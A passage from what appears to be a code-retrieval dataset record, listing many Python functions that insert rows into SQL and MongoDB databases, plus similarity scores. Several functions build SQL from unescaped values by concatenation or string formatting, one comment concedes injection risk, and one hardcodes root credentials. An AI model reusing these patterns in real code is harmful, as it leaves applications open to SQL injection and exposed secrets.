isinstance(sql_query, tuple):\\n # for some databases, a separate query has to be made to find \\n # the id of the inserted row.\\n q1, q2 = sql_query\\n self._db_execute(db_cursor, q1)\\n self._db_execute(db_cursor, q2)\\n else:\\n self._db_execute(db_cursor, sql_query)\\n\\n try: \\n out = db_cursor.fetchone()[0]\\n out = range(out-len(values)+1, out+1) \\n except Exception: \\n out = None\\n\\n if not self.ctx.transactions: \\n self.ctx.commit()\\n return out\",\n \"def insert_db(query, args=()):\\n db = get_db()\\n db.execute(query, args)\\n db.commit()\",\n \"def get_table_insert_command_from_dict(table, dict):\\n sql = 'INSERT OR REPLACE INTO ' + table\\n sql += ' ('\\n sql += ','.join(dict.keys())\\n sql += ') VALUES ('\\n sql += ','.join(map(wrap_with_strings, dict.values()))\\n sql += ');'\\n return sql\",\n \"def insert(self, tablename, columns, values):\\n\\n length = len(columns)\\n if length != 0:\\n placeholder = ['?'] * length\\n query = \\\"Insert into \\\" + tablename + \\\" (\\\" + ','.join(columns) + \\\") Values (\\\" + ','.join(\\n placeholder) + \\\")\\\"\\n else:\\n l = len(values)\\n placeholder = ['?'] * l\\n query = \\\"Insert into \\\" + tablename + \\\" Values (\\\" + ','.join(placeholder) + \\\")\\\"\\n try:\\n self.__cur.execute(query, values)\\n self.__conn.commit()\\n except Exception as e:\\n self.__conn.rollback()\\n raise e\",\n \"def insert(self, table, columns, values, execute=True):\\n # TODO: Cant accept lists?\\n # Concatenate statement\\n cols, vals = get_col_val_str(columns)\\n statement = \\\"INSERT INTO {0} ({1}) VALUES ({2})\\\".format(wrap(table), cols, vals)\\n\\n # Execute statement\\n if execute:\\n self._cursor.execute(statement, values)\\n self._commit()\\n self._printer('\\\\tMySQL row successfully inserted into {0}'.format(table))\\n\\n # Only return statement\\n else:\\n return statement\",\n \"def Insert_in_Transaction(db, params):\\r\\n \\r\\n try: \\r\\n db.Transaction.insert_one(\\r\\n {\\r\\n \\\"Open time\\\": params[0], \\r\\n \\\"High\\\": params[1], \\r\\n \\\"Low\\\": params[2], \\r\\n \\\"Open\\\": params[3], \\r\\n \\\"Close\\\": params[4], \\r\\n \\\"Volume\\\": params[5], \\r\\n \\\"Quote asset volume\\\": params[6], \\r\\n \\\"Weighted average\\\": params[7]\\r\\n }\\r\\n )\\r\\n \\r\\n except Exception as e:\\r\\n print(e)\",\n \"def insert_data(stored_data, table_name):\\r\\n for item in stored_data:\\r\\n cursor.execute('''INSERT INTO {} VALUES(?, ?, ?, ?)'''.format(table_name), item)\",\n \"def makeInserts(self, tbl, columns, rows):\\n\\n lines = []\\n lines.append(\\\"INSERT ALL\\\")\\n\\n stmt = ' INTO \\\"{}\\\" ({})'.format(\\n tbl,\\n \\\", \\\".join(['\\\"'+name+'\\\"' for name, *_ in columns])\\n )\\n\\n fmt = ' VALUES ({})'.format(\\n \\\", \\\".join([\\\"{}\\\" if t in ('NUMBER') else \\\"'{}'\\\" \\n for n, t, *_ in columns])\\n )\\n\\n print(stmt)\\n print(fmt)\\n\\n for row in rows:\\n lines.append(stmt)\\n lines.append(fmt.format(*row))\\n \\n\\n lines.append(\\\"SELECT * FROM DUAL\\\")\\n\\n return \\\"\\\\n\\\".join(lines)\",\n \"def makeInserts(self, tbl, columns, rows):\\n\\n lines = []\\n lines.append(\\\"INSERT ALL\\\")\\n\\n stmt = ' INTO \\\"{}\\\" ({})'.format(\\n tbl,\\n \\\", \\\".join(['\\\"'+name+'\\\"' for name, *_ in columns])\\n )\\n\\n fmt = ' VALUES ({})'.format(\\n \\\", \\\".join([\\\"{}\\\" if t in ('NUMBER') else \\\"'{}'\\\" \\n for n, t, *_ in columns])\\n )\\n\\n print(stmt)\\n print(fmt)\\n\\n for row in rows:\\n lines.append(stmt)\\n lines.append(fmt.format(*row))\\n \\n\\n lines.append(\\\"SELECT * FROM DUAL\\\")\\n\\n return \\\"\\\\n\\\".join(lines)\",\n \"def insert(cls, values):\\n result = yield InsertQuery(cls, values).execute()\\n returnValue(result)\",\n \"def insert(conn, table_info, table_data):\\n\\n sql = ''' INSERT INTO ''' + table_info \\n + ''' VALUES(''' + \\\"?,\\\" * (len(table_data)-1) + \\\"?)\\\"\\n cursor = conn.cursor()\\n cursor.execute(sql, table_data)\\n conn.commit()\",\n \"def insert(self, table, value):\\n col_name = self.table_cols[table][1:]\\n sql = \\\"INSERT INTO %s(%s) VALUES (%s)\\\" % (table, str(','.join(col_name)), array_join(value, ','))\\n Log.debug('DB -> %s' % sql)\\n self.execute(sql)\",\n \"def insert_to_table(self, tableName, dataRow, colNames):\\n queryString = f\\\"INSERT INTO {tableName} VALUES \\\"\\n # building the Values list\\n valueString = \\\"\\\"\\n # looping \\n for value in dataRow:\",\n \"def _insert_dict(cursor, table, data, returning=None):\\n data = dict(_remove_nones(data))\\n cols, vals = _query_fields(data)\\n returning_clause = 'RETURNING {}'.format(returning) if returning else ''\\n cursor.execute(\\n 'INSERT INTO {} ({}) VALUES ({}) {}'.format(table, cols, vals, returning_clause),\\n data\\n )\\n if returning:\\n return cursor.fetchone()[returning]\",\n \"def insert_values(listingid_to_text):\\n sql = \\\"INSERT INTO listingid_to_text_english VALUES (%s, %s)\\\"\\n args = [(key, val) for key, val in listingid_to_text.iteritems()]\\n conn = None\\n try:\\n # read database configuration\\n params = config()\\n # connect to the PostgreSQL database\\n conn = psycopg2.connect(**params)\\n # create a new cursor\\n cur = conn.cursor()\\n \\n print(\\\"here\\\")\\n # execute the INSERT statement\\n cur.executemany(sql, args)\\n # commit the changes to the database\\n conn.commit()\\n # close communication with the database\\n cur.close()\\n except (Exception, psycopg2.DatabaseError) as error:\\n print(error)\\n finally:\\n if conn is not None:\\n conn.close()\",\n \"def _InsertDataToDB(db_conn, data_to_insert):\\r\\n sql = ''' INSERT INTO results(R1, R2, R3, R4, R5, R6, R7, R8, R9, R10, R11, R12, R13, R14, R15, R16, R17, R18, R19, R20, R21, R22, R23, R24, R25, R26, R27, R28, R29, R30, R31, R32, R33, R34, R35, R36, R37, R38, R39)\\r\\n VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) '''\\r\\n cur = db_conn.cursor()\\r\\n cur.execute(sql, data_to_insert)\\r\\n db_conn.commit()\\r\\n return cur.lastrowid\",\n \"def insert(sql, clue):\\n\\t# clue is [game, airdate, round, category, value, clue, answer]\\n\\t# note that at this point, clue[4] is False if round is 3\\n\\tif \\\"\\\\\\\\\\\\'\\\" in clue[6]:\\n\\t\\tclue[6] = clue[6].replace(\\\"\\\\\\\\\\\\'\\\", \\\"'\\\")\\n\\tif \\\"\\\\\\\\\\\\\\\"\\\" in clue[6]:\\n\\t\\tclue[6] = clue[6].replace(\\\"\\\\\\\\\\\\\\\"\\\", \\\"\\\\\\\"\\\")\\n\\tif not sql:\\n\\t\\tprint clue\\n\\t\\treturn\\n\\tsql.execute(\\\"INSERT OR IGNORE INTO airdates VALUES(?, ?);\\\", (clue[0], clue[1], ))\\n\\tsql.execute(\\\"INSERT OR IGNORE INTO categories(category) VALUES(?);\\\", (clue[3], ))\\n\\tcategory_id = sql.execute(\\\"SELECT id FROM categories WHERE category = ?;\\\", (clue[3], )).fetchone()[0]\\n\\tclue_id = sql.execute(\\\"INSERT INTO documents(clue, answer) VALUES(?, ?);\\\", (clue[5], clue[6], )).lastrowid\\n\\tsql.execute(\\\"INSERT INTO clues(game, round, value) VALUES(?, ?, ?);\\\", (clue[0], clue[2], clue[4], ))\\n\\tsql.execute(\\\"INSERT INTO classifications VALUES(?, ?)\\\", (clue_id, category_id, ))\",\n \"def _get_insert_request(self, dico,\\n table,\\n exe=False,\\n primarykey=None,\\n cursor=None,\\n skip_exception=False):\\n keys = []\\n values = []\\n for k, v in dico.items():\\n keys.append(k)\\n if k != primarykey and isinstance(v, str):\\n v = \\\"'\\\" + str(v).replace(\\\"'\\\", \\\"''\\\") + \\\"'\\\"\\n values.append(v)\\n elif isinstance(v, datetime.datetime):\\n values.append(\\\"'\\\" + str(v) + \\\"'\\\")\\n else:\\n values.append(str(v))\\n keys = \\\",\\\".join(keys)\\n values = \\\",\\\".join(values)\\n sql = \\\"INSERT INTO %s (%s) VALUES (%s);\\\" % (table, keys, values)\\n if exe:\\n try:\\n if cursor is not None:\\n cursor.execute(sql)\\n else:\\n self._connection.execute(sql)\\n except SQLite.OperationalError as e:\\n if skip_exception:\\n self.LOG(\\n \\\"OperationalError: unable to execute a query\\\", e, sql)\\n else:\\n raise ExceptionSQL( # pylint: disable=W0707\\n \\\"OperationalError: unable to execute a query\\\", e, sql)\\n except SQLite.IntegrityError as e:\\n if skip_exception:\\n self.LOG(\\\"IntegrityError: unable to execute a query\\\", e, sql)\\n else:\\n raise ExceptionSQL( # pylint: disable=W0707\\n \\\"IntegrityError: unable to execute a query\\\", e, sql)\\n return sql\",\n \"def insert_csl(conn, table, sql_param):\\r\\n header_list = get_header(conn, table)\\r\\n header_list.pop(0)\\r\\n translation = {39 : None,\\r\\n 91 : 40, \\r\\n 93 : 41}\\r\\n place_holders = [\\\"%s\\\" for item in header_list] # creates a list with many place holders as items in header_list\\r\\n place_holders = str(place_holders).translate(translation) # list to str and ' -> None, [ -> { and ] -> }\\r\\n header_list = str(header_list).translate(translation) # list to str and ' -> None, [ -> { and ] -> }\\r\\n insert = f\\\"INSERT INTO {table} {header_list} VALUES {place_holders} RETURNING id\\\"\\r\\n cursor = conn.cursor()\\r\\n cursor.execute(insert, sql_param)\\r\\n conn.commit()\\r\\n returned_id = cursor.fetchone()\\r\\n cursor.close()\\r\\n return returned_id\",\n \"def insert_(statement: str, db_conf) -> []:\\n try:\\n result = db_conf.execute(statement)\\n if result:\\n return result\\n except psycopg2.IntegrityError:\\n pass\\n return []\",\n \"def db_insert(db_in, table, dict_in):\\n connection = db_in.connection.cursor()\\n keys = []\\n values = []\\n for key, value in dict_in.items():\\n keys.append(key)\\n # Escape quotes\\n if isinstance(value, str):\\n values.append(\\\"'\\\" + value.replace(\\\"'\\\", \\\"''\\\") + \\\"'\\\")\\n else:\\n values.append(\\\"'\\\" + str(value) + \\\"'\\\")\\n\\n # Update entries for each key and value.\\n for key in keys:\\n # Attempt to add column, fail silently if it exists.\\n try:\\n connection.execute('ALTER TABLE %s ADD COLUMN %s' % (table.name, key))\\n except sqlite3.OperationalError:\\n pass\\n\\n connection.execute('INSERT INTO %s(%s) VALUES (%s);' % (table.name, \\\",\\\".join(keys), \\\",\\\".join(values)))\\n return_entry = Entry(connection.lastrowid, db_in, table, dict_in)\\n db_in.connection.commit()\\n return return_entry\",\n \"def insert(statement: str) -> []:\\n raise NotImplementedError\",\n \"def insert_into_table(table_name, column_names, column_values):\\n sql = \\\"INSERT INTO user_data(%s) VALUES(%s);\\\"\\n # execute_sql(sql, (column_names, column_values))\\n # FIXME: issues with array of strings input\",\n \"def insert_into_table(self, schema, table, fields, values):\\n sql = f'set role {self.write_role}; ' \\\\\\n f'INSERT INTO {schema}.{table} ( {\\\", \\\".join(fields)} ) VALUES ( {\\\", \\\".join(values)} );'\\n return sql\",\n \"def insert_rows(cursor, table_name, row_dict_list):\\n\\tkeys = row_dict_list[0].keys()\\n\\tcolumns = \\\", \\\".join(keys)\\n\\tvalues_template = \\\", \\\".join([\\\"?\\\"] * len(keys))\\n\\n\\tsql = \\\"INSERT INTO %s (%s) VALUES (%s)\\\" % \\\\\\n\\t\\t(table_name, columns, values_template)\\n\\ttuples = [tuple(row_dict[key] for key in keys) for row_dict in row_dict_list]\\n\\tcursor.executemany(sql, tuples)\",\n \"def insert_to_db(self,\\n list_of_tuples: list,\\n table_name: str,\\n col_names: list,\\n work_dir: str,\\n ignore: bool = True):\\n # return if nothing to do\\n if not list_of_tuples: return\\n\\n # prepare request parts\\n ignore_str = ignore and \\\"IGNORE\\\" or \\\"\\\"\\n cols_str = \\\", \\\".join(col_names)\\n\\n # generate file with the insert SQL command\\n insert_sql_file = self.pjc(work_dir, \\\"insert.sql\\\")\\n with open(insert_sql_file, \\\"w\\\") as sql:\\n print(f\\\"INSERT {ignore_str} INTO {table_name} ({cols_str}) VALUES\\\", file=sql)\\n values_sep = \\\"\\\"\\n for tpl in list_of_tuples:\\n tpl_str = \\\", \\\".join(map(str, tpl))\\n print(f\\\"{values_sep}({tpl_str})\\\", file = sql)\\n values_sep = \\\", \\\"\\n print(\\\";\\\", file=sql)\\n\\n # run insert SQL from file\\n self.run_sql_req(insert_sql_file, self.pjc(work_dir, \\\"insert\\\"), from_file = True)\",\n \"def insert_execute(self, insert_data):\\n self.execute(query=self.db_insert_schema.format(self.table_name), data=insert_data)\",\n \"async def insert(self, table_name: str, values: tuple, columns=None):\\n query = f\\\"\\\"\\\"INSERT INTO {table_name} {'(' + ', '.join(columns) + ')' if columns else ''} VALUES {values}\\\"\\\"\\\"\\n await LemkPgUtils.execute_query(self.dsn, query)\\n return True\",\n \"def insert(cls, *lst, **dct):\\n cls.runtime.set_set(lst, dct)\\n return InsertQuery(cls.runtime)\",\n \"def _insert_internal(self, cols, vals) :\\n\\n self.row_id += 1\\n vals[0] = self.row_id\\n\\n if None in vals :\\n cvs = list(zip(cols, vals))\\n cvs = [cv for cv in cvs if cv[1] is not None]\\n cs = [cv[0] for cv in cvs]\\n vs = [cv[1] for cv in cvs]\\n else :\\n cs = cols\\n vs = vals\\n\\n value_sql = ','.join([self._quoter(cols[i]) % str(vs[i]) \\n for i in range(len(vs))])\\n\\n col_sql = ','.join(['\\\"%s\\\"' % c for c in cs])\\n insert_sql = 'INSERT INTO \\\"%s\\\" (%s) VALUES (%s)' % (self.name, col_sql, value_sql)\\n cur = self.con.cursor()\\n cur.execute(insert_sql)\",\n \"def insertParametri(self,query_id,l):\\r\\n\\t\\tfor i in l:\\r\\n\\t\\t\\t\\tprint \\\"inserisco parametro {0} per query: {1}\\\".format(i,query_id)\\r\\n\\t\\t\\t\\tself.session.add(Parametro(query_id,i[0],i[1]))\\r\\n\\t\\t # self.session.commit()\\r\",\n \"def insert(self, _values=None, **values):\\n if not values and not _values:\\n return True\\n\\n if not isinstance(_values, list):\\n if _values is not None:\\n values.update(_values)\\n\\n values = [values]\\n else:\\n values = _values\\n for i, value in enumerate(values):\\n values[i] = OrderedDict(sorted(value.items()))\\n\\n bindings = []\\n\\n for record in values:\\n for value in record.values():\\n bindings.append(value)\\n\\n sql = self._grammar.compile_insert(self, values)\\n\\n bindings = self._clean_bindings(bindings)\\n\\n return self._connection.insert(sql, bindings)\",\n \"def insert_data(self, table_name, data):\\n for data_point in data:\\n query = \\\"INSERT INTO %s(%s) VALUES (%s)\\\"\\n\\n fields = \\\", \\\".join(data_point.keys())\\n values = \\\", \\\".join([self.pack_data(value) for value in data_point.values()])\\n self.cursor.execute(query % (table_name, fields, values))\\n self.db_connection.commit()\",\n \"def insert(title, author, year, isbn,shelf,raw):\\n\\n conn_obj = mysql.connector.connect(host='localhost',database='mydb',user='root',password='kks')\\n cur_obj = conn_obj.cursor()\\n sql=\\\"INSERT INTO book (title, author, year, isbn,shelf,raw) VALUES(%s, %s, %s, %s, %s, %s)\\\"\\n cur_obj.execute(sql,(title, author, year, isbn,shelf,raw))\\n conn_obj.commit()\\n conn_obj.close()\",\n \"def test_insert_heterogeneous_params(self, connection):\\n users = self.tables.users\\n\\n assert_raises_message(\\n exc.StatementError,\\n r\\\"\\\\(sqlalchemy.exc.InvalidRequestError\\\\) A value is required for \\\"\\n \\\"bind parameter 'user_name', in \\\"\\n \\\"parameter group 2\\\\n\\\"\\n r\\\"\\\\[SQL: u?INSERT INTO users\\\",\\n connection.execute,\\n users.insert(),\\n [\\n {\\\"user_id\\\": 7, \\\"user_name\\\": \\\"jack\\\"},\\n {\\\"user_id\\\": 8, \\\"user_name\\\": \\\"ed\\\"},\\n {\\\"user_id\\\": 9},\\n ],\\n )\\n\\n # this succeeds however. We aren't yet doing\\n # a length check on all subsequent parameters.\\n connection.execute(\\n users.insert(),\\n [\\n {\\\"user_id\\\": 7},\\n {\\\"user_id\\\": 8, \\\"user_name\\\": \\\"ed\\\"},\\n {\\\"user_id\\\": 9},\\n ],\\n )\",\n \"def test_insert_heterogeneous_params(self, connection):\\n users = self.tables.users\\n\\n assert_raises_message(\\n exc.StatementError,\\n r\\\"\\\\(sqlalchemy.exc.InvalidRequestError\\\\) A value is required for \\\"\\n \\\"bind parameter 'user_name', in \\\"\\n \\\"parameter group 2\\\\n\\\"\\n r\\\"\\\\[SQL: u?INSERT INTO users\\\",\\n connection.execute,\\n users.insert(),\\n [\\n {\\\"user_id\\\": 7, \\\"user_name\\\": \\\"jack\\\"},\\n {\\\"user_id\\\": 8, \\\"user_name\\\": \\\"ed\\\"},\\n {\\\"user_id\\\": 9},\\n ],\\n )\\n\\n # this succeeds however. We aren't yet doing\\n # a length check on all subsequent parameters.\\n connection.execute(\\n users.insert(),\\n [\\n {\\\"user_id\\\": 7},\\n {\\\"user_id\\\": 8, \\\"user_name\\\": \\\"ed\\\"},\\n {\\\"user_id\\\": 9},\\n ],\\n )\",\n \"def insert_data(data):\\n\\n try:\\n sql = \\\"INSERT INTO movies VALUES(%s, %s, %s)\\\"\\n conn = psycopg2.connect(dsn=DB_DSN)\\n cur = conn.cursor()\\n cur.executemany(sql, data)\\n conn.commit()\\n except psycopg2.Error as e:\\n print e.message\\n else:\\n cur.close()\\n conn.close()\",\n \"def insert(q, *params):\\n db = Database()\\n db.cur.execute(q, *params)\\n ret_id = db.cur.lastrowid\\n db.con.close()\\n return ret_id\",\n \"def execute_insert(self,insert):\\n try:\\n self.cursor.execute(insert)\\n self.connection.commit()\\n except Exception as error:\\n self.connection.rollback()\\n raise error\",\n \"def mogrify_sql_statement(self, content):\\n sql = content[0]\\n args = content[1]\\n\\n if self.dbmi.__name__ == \\\"psycopg2\\\":\\n if len(args) == 0:\\n return sql\\n else:\\n if self.connected:\\n try:\\n return self.cursor.mogrify(sql, args)\\n except Exception as exc:\\n print(sql, args)\\n raise exc\\n else:\\n self.connect()\\n statement = self.cursor.mogrify(sql, args)\\n self.close()\\n return statement\\n\\n elif self.dbmi.__name__ == \\\"sqlite3\\\":\\n if len(args) == 0:\\n return sql\\n else:\\n # Unfortunately as sqlite does not support\\n # the transformation of sql strings and qmarked or\\n # named arguments we must make our hands dirty\\n # and do it by ourself. :(\\n # Doors are open for SQL injection because of the\\n # limited python sqlite3 implementation!!!\\n pos = 0\\n count = 0\\n maxcount = 100\\n statement = sql\\n\\n while count < maxcount:\\n pos = statement.find(\\\"?\\\", pos + 1)\\n if pos == -1:\\n break\\n\\n if args[count] is None:\\n statement = \\\"%sNULL%s\\\" % (statement[0:pos],\\n statement[pos + 1:])\\n elif isinstance(args[count], (int, long)):\\n statement = \\\"%s%d%s\\\" % (statement[0:pos], args[count],\\n statement[pos + 1:])\\n elif isinstance(args[count], float):\\n statement = \\\"%s%f%s\\\" % (statement[0:pos], args[count],\\n statement[pos + 1:])\\n elif isinstance(args[count], datetime):\\n statement = \\\"%s\\\\'%s\\\\'%s\\\" % (statement[0:pos], str(args[count]),\\n statement[pos + 1:])\\n else:\\n # Default is a string, this works for datetime\\n # objects too\\n statement = \\\"%s\\\\'%s\\\\'%s\\\" % (statement[0:pos],\\n str(args[count]),\\n statement[pos + 1:])\\n count += 1\\n\\n return statement\",\n \"def insert_row(self, table: str, row_data: dict):\\r\\n\\r\\n columns = \\\"\\\".join([f\\\"'{i}',\\\" for i in row_data]).rstrip(\\\",\\\")\\r\\n keys = \\\"\\\".join([f\\\"'{row_data[i]}',\\\" for i in row_data]).rstrip(\\\",\\\")\\r\\n sql_statement = f\\\"INSERT INTO {table} ({columns}) VALUES({keys});\\\"\\r\\n try:\\r\\n self.__cursor(sql_statement)\\r\\n self.__db_conn.commit()\\r\\n except sqlite3.Error as error:\\r\\n print(\\\"[!] Couldn't add record\\\")\\r\\n print(\\\"[!]\\\", str(error).capitalize())\\r\\n return\\r\\n print(\\\"[*] Record added successfully.\\\")\",\n \"def __insert_generic_module(self, table_name, form_data, description_id, dual=0):\\n\\n sql_values = {}\\n sql_fields = []\\n alt_sql_fields = []\\n insert_id = 0\\n\\n alt_sql_statement = []\\n sql_statement = []\\n sql_statement.append(\\\"INSERT INTO \\\" + table_name + \\\" SET \\\")\\n alt_sql_statement.append(\\\"INSERT INTO \\\" + table_name + \\\" SET \\\")\\n\\n if description_id > 0:\\n sql_fields.append(\\\"`Description_ID`=:description_id\\\")\\n sql_values['description_id'] = description_id\\n alt_sql_fields.append(\\\"`Description_ID`=%(description_id)s\\\")\\n\\n select = Select(self.db)\\n column_names = select.read_column_names(table_name)\\n\\n for k in column_names:\\n kk = k[0]\\n if dual > 0:\\n kk = kk + \\\"_stn\\\" + str(dual)\\n if not form_data.get(kk):\\n continue\\n value = form_data.get(kk)\\n\\n if kk.find(\\\"_ID\\\") < 0 and value:\\n key = k[0]\\n key = key.replace(\\\"(\\\", \\\"\\\")\\n key = key.replace(\\\")\\\", \\\"\\\")\\n key = key.replace(\\\":\\\", \\\"\\\")\\n key = key.replace(\\\"%\\\", \\\"\\\")\\n sql_fields.append(\\\"`\\\" + k[0] + \\\"`=:\\\" + key.lower())\\n alt_sql_fields.append(\\\"`\\\" + k[0] + \\\"`=%(\\\" + key.lower() + \\\")s\\\")\\n value = value.strip().replace(\\\"'\\\", \\\"\\\")\\n value = value.replace('\\\"', \\\"\\\")\\n sql_values[key.lower()] = value\\n\\n sql_statement.append(\\\",\\\".join(sql_fields))\\n alt_sql_statement.append(\\\",\\\".join(alt_sql_fields))\\n\\n session = self.db_conn.cursor(dictionary=True)\\n try:\\n #print(\\\"\\\".join(alt_sql_statement))\\n #print(sql_values)\\n session.execute(\\\"\\\".join(alt_sql_statement), sql_values)\\n self.db_conn.commit()\\n insert_id = session.lastrowid\\n except Exception:\\n #print(session.statement)\\n \\\"\\\"\\\"\\n try:\\n # may be there is a spl char in the sql stmt\\n # using connection().execute will not quote the sql stmt\\n # and some messy hack is needed to avoid param execution\\n sql_stmt = \\\" \\\".join(alt_sql_statement)\\n sql_stmt = sql_stmt.replace(\\\"(%)\\\", \\\"(##)\\\")\\n sql_stmt = re.sub(r\\\"(\\\\d+)%\\\", \\\"\\\\g<1>##\\\", sql_stmt)\\n sql_stmt = sql_stmt % sql_values\\n sql_stmt = sql_stmt.replace(\\\"(##)\\\", \\\"(%)\\\")\\n sql_stmt = re.sub(r\\\"(\\\\d+)##\\\", \\\"\\\\g<1>%\\\", sql_stmt)\\n\\n #print(sql_stmt)\\n result = session.execute(sql_stmt)\\n self.db_conn.commit()\\n insert_id = result.lastrowid\\n except Exception:\\n #session.rollback()\\n raise\\n \\\"\\\"\\\"\\n raise\\n finally:\\n session.close()\\n\\n return insert_id\",\n \"def insert(self, table_name: str, values: dict, not_many=False) -> int:\\n sql = 'INSERT INTO ' + table_name + '('\\n sql += array_to_string(values.keys(), ', ')\\n sql += ') VALUES ('\\n sql += array_to_string(values.values(), ', ')\\n sql += ');'\\n\\n if self.__sql_many_state and not_many is False:\\n self.__sql_buffer += sql\\n else:\\n self.cursor.execute(sql)\\n self.connection.commit()\\n\\n return self.cursor.lastrowid\",\n \"def rpc_database_insert_row(self, keys, values):\\n\\t\\tif not isinstance(keys, (list, tuple)):\\n\\t\\t\\tkeys = (keys,)\\n\\t\\tif not isinstance(values, (list, tuple)):\\n\\t\\t\\tvalues = (values,)\\n\\t\\tassert len(keys) == len(values)\\n\\t\\ttable_name = self.path.split('/')[-2]\\n\\t\\tfor key, value in zip(keys, values):\\n\\t\\t\\tassert key in DATABASE_TABLES[table_name]\\n\\t\\ttable = DATABASE_TABLE_OBJECTS.get(table_name)\\n\\t\\tassert table\\n\\t\\tsession = db_manager.Session()\\n\\t\\trow = table()\\n\\t\\tfor key, value in zip(keys, values):\\n\\t\\t\\tsetattr(row, key, value)\\n\\t\\tsession.add(row)\\n\\t\\tsession.close()\\n\\t\\treturn\",\n \"def insert_many(self, table, columns, values, limit=MAX_ROWS_PER_QUERY, execute=True):\\n # Make values a list of lists if it is a flat list\\n if not isinstance(values[0], (list, set, tuple)):\\n values = []\\n for v in values:\\n if v is not None and len(v) > 0:\\n values.append([v])\\n else:\\n values.append([None])\\n\\n # Concatenate statement\\n cols, vals = get_col_val_str(columns)\\n statement = 'INSERT INTO {0} ({1}) VALUES ({2})'.format(wrap(table), cols, vals)\\n\\n if execute and len(values) > limit:\\n while len(values) > 0:\\n vals = [values.pop(0) for i in range(0, min(limit, len(values)))]\\n self._cursor.executemany(statement, vals)\\n self._commit()\\n\\n elif execute:\\n # Execute statement\\n self._cursor.executemany(statement, values)\\n self._commit()\\n self._printer('\\\\tMySQL rows (' + str(len(values)) + ') successfully INSERTED')\\n\\n # Only return statement\\n else:\\n return statement\",\n \"def insert(self, tname, valdict, cols = None):\\n icmd, vals = make_insert_command(tname, valdict, cols)\\n self.write_curs.execute(icmd, vals)\",\n \"def insert_sql(command):\\n logging.debug(\\\"Running insert sql \\\"+str(command))\\n try:\\n## host, userid, password, database instance\\n con = mdb.connect(serverip, username, userpass, schema);\\n cursor = con.cursor()\\n \\n sql = command\\n cursor.execute(sql)\\n sql = \\\" commit;\\\"\\n cursor.execute(sql)\\n \\n con.close()\\n\\n except mdb.Error, e:\\n logger.error(e)\",\n \"def _insert_table_row(self, db: str, table: str, row: Dict[str, Any]):\\n pass\",\n \"def insert_players_data(players_data: list) -> str:\\n table = players_data[0]\\n name = players_data[1]\\n age = players_data[2]\\n wage = players_data[3]\\n link = players_data[4]\\n si = players_data[5]\\n position = players_data[6]\\n rating = players_data[7]\\n goals = players_data[8]\\n team = players_data[9]\\n team_link = players_data[10]\\n turn = players_data[11]\\n player_nation = players_data[12]\\n team_nation = players_data[13]\\n insert_players_data = '''INSERT INTO {} (player_name, player_age, player_wage, player_link, player_si, \\n player_position, player_rating, player_goals, team, team_link, turn, player_nation, team_nation) VALUES \\n (\\\"{}\\\", \\\"{}\\\", {}, \\\"{}\\\", {}, \\\"{}\\\", {}, {}, \\\"{}\\\", \\\"{}\\\", {}, \\\"{}\\\", \\\"{}\\\");'''.\\\\\\n format(table, name, age, wage, link, si, position, rating, goals, team, team_link, turn, player_nation, team_nation)\\n return insert_players_data\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7786701","0.7468949","0.7432973","0.74259865","0.72058713","0.7184613","0.7164827","0.71338683","0.71334565","0.7122251","0.7071047","0.7063761","0.7004349","0.6975342","0.694661","0.6939397","0.6924211","0.6909788","0.6890641","0.6878951","0.6845659","0.68330914","0.68107206","0.6805033","0.6799277","0.67459494","0.6740405","0.6737185","0.67321146","0.672682","0.6685191","0.6660102","0.66050357","0.66016036","0.65997565","0.6590724","0.65865487","0.6580243","0.6573332","0.6565747","0.6558876","0.65410507","0.65373105","0.65346444","0.6534035","0.651238","0.6491097","0.6474135","0.6449795","0.6448518","0.6447921","0.6438704","0.6434133","0.64180136","0.6410967","0.6382508","0.636705","0.6352327","0.63456464","0.6343268","0.6343268","0.634161","0.63340634","0.63291425","0.63097733","0.63077074","0.6300939","0.62847596","0.6270856","0.6266236","0.6257972","0.62530106","0.62403923","0.6215349","0.6212311","0.62001264","0.61931777","0.6188105","0.6169466","0.6159868","0.6157737","0.6153368","0.61475533","0.6142743","0.6140352","0.6140077","0.6130354","0.6130354","0.61256886","0.61128265","0.61083686","0.6100791","0.6090035","0.6087015","0.60665554","0.60502225","0.60467035","0.6033114","0.6033031","0.6025168","0.60116976"],"string":"[\n \"0.7786701\",\n \"0.7468949\",\n \"0.7432973\",\n \"0.74259865\",\n \"0.72058713\",\n \"0.7184613\",\n \"0.7164827\",\n \"0.71338683\",\n \"0.71334565\",\n \"0.7122251\",\n \"0.7071047\",\n \"0.7063761\",\n \"0.7004349\",\n \"0.6975342\",\n \"0.694661\",\n \"0.6939397\",\n \"0.6924211\",\n \"0.6909788\",\n \"0.6890641\",\n \"0.6878951\",\n \"0.6845659\",\n \"0.68330914\",\n \"0.68107206\",\n \"0.6805033\",\n \"0.6799277\",\n \"0.67459494\",\n \"0.6740405\",\n \"0.6737185\",\n \"0.67321146\",\n \"0.672682\",\n \"0.6685191\",\n \"0.6660102\",\n \"0.66050357\",\n \"0.66016036\",\n \"0.65997565\",\n \"0.6590724\",\n \"0.65865487\",\n \"0.6580243\",\n \"0.6573332\",\n \"0.6565747\",\n \"0.6558876\",\n \"0.65410507\",\n \"0.65373105\",\n \"0.65346444\",\n \"0.6534035\",\n \"0.651238\",\n \"0.6491097\",\n \"0.6474135\",\n \"0.6449795\",\n \"0.6448518\",\n \"0.6447921\",\n \"0.6438704\",\n \"0.6434133\",\n \"0.64180136\",\n \"0.6410967\",\n \"0.6382508\",\n \"0.636705\",\n \"0.6352327\",\n \"0.63456464\",\n \"0.6343268\",\n \"0.6343268\",\n \"0.634161\",\n \"0.63340634\",\n \"0.63291425\",\n \"0.63097733\",\n \"0.63077074\",\n \"0.6300939\",\n \"0.62847596\",\n \"0.6270856\",\n \"0.6266236\",\n \"0.6257972\",\n \"0.62530106\",\n \"0.62403923\",\n \"0.6215349\",\n \"0.6212311\",\n \"0.62001264\",\n \"0.61931777\",\n \"0.6188105\",\n \"0.6169466\",\n \"0.6159868\",\n \"0.6157737\",\n \"0.6153368\",\n \"0.61475533\",\n \"0.6142743\",\n \"0.6140352\",\n \"0.6140077\",\n \"0.6130354\",\n \"0.6130354\",\n \"0.61256886\",\n \"0.61128265\",\n \"0.61083686\",\n \"0.6100791\",\n \"0.6090035\",\n \"0.6087015\",\n \"0.60665554\",\n \"0.60502225\",\n \"0.60467035\",\n \"0.6033114\",\n \"0.6033031\",\n \"0.6025168\",\n 